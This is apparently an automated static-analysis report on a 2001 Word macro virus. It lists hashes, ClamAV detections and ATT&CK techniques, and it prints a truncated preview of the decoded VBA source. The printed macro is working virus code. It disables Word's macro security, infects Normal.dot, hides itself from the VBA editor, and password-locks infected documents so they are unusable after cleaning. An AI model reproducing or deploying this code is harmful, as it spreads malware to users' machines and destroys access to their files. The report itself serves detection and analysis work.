Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 83685c29bcd42802…

MALICIOUS

Office (OLE)

37.0 KB Created: 2001-05-14 03:43:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: de6b21b8451fe5ae3e1ea05889c192a3 SHA-1: 48a33ec5cd3fb12bca21fca85ffff2efeba5619d SHA-256: 83685c29bcd42802175046fe25e31a0c5060c71777154fab47c840b7b9eb17cc
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that are designed to disable Word's macro security settings and copy themselves into the Normal.dot template. This persistence mechanism allows the macro to execute automatically whenever Word is opened. The ClamAV detections 'Doc.Trojan.Lis-2' and 'Doc.Trojan.Lis-1' further indicate malicious intent.

Heuristics 3

  • ClamAV: Doc.Trojan.Lis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lis-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6541 bytes
SHA-256: 70947c83642fb8b26eebe1440cd61c8c53b2db94e138b969d4eac1fa27ae0352
Detection
ClamAV: Doc.Trojan.Lis-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'L i s a 2001
'Все пожелания (а также новые вири) слать на Slava_Atrancev@mail.ru
Dim dvl
Private Sub Document_Close()
 dvl = 2
 p
End Sub
Private Sub Document_New()
 dvl = 3
 p
End Sub
Private Sub Document_Open()
 dvl = 1
 p
End Sub

Private Sub p()
 '___Включаем генератор случайных чисел___'
 Randomize
 '___Вырубаем ошибки___'
 On Error Resume Next
 '___Отключение защиты от вирусов для ворда 97___'
 Application.Options.VirusProtection = False
 '___Отключение защиты от вирусов для ворда 2000___'
 System.PrivateProfileString("", "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\9.0\Word\Security", "level") = 1
 If ThisDocument.Name <> "Normal.dot" Then
  '___Если выполняется не из нормала то ...___'
  '___Вытираем нормал дот___'
  a = Application.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, a
  '___Пишем в нормал дот наш код___'
  a = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  b = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, a)
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines 1, b
  '___Добавляем в нормал технологию стелс___'
  c = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 1, "Sub viewvbcode()"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 2, "On Error Resume Next"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 3, "a = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 4, "NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, a"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 5, "NormalTemplate.Saved = True"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 6, "c = Application.Documents.Count"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 7, "For i = 1 To c"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 8, "d = Application.Documents.Item(i).VBProject.VBComponents.Item(1).CodeModule.CountOfLines"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 9, "If d > 0 Then"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 10, "Application.Documents.Item(i).VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, d"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 11, "Application.Documents.Item(i).Saved = True"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 12, "End If"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 13, "Next i"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 14, "Application.ShowVisualBasicEditor = True"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 15, "End Sub"
  '___Мелкая пакость антивирусникам, при закрытии паролируем документ на изменение, а при открытии снимаем пароль и после лечения, юзверь не сможет юзать этот файл___'
  If dvl = 2 Then
   ThisDocument.Protect Type:=wdAllowOnlyFormFields, Password:="hgfiviieundj"
  End If
  If dvl = 1 Then
   ThisDocument.Unprotect Password:="hgfiviieundj"
  End If
 Else
  '___Если выполняется из нормала то ...___'
  '___Запоминаем код без процедуры стелс___'
  a = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  d = ""
  For i = 1 To a
   b = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
   If b = "Sub viewvbcode()" Then i = a + 1 Else d = d + b + Chr(13)
  Next i

... (truncated)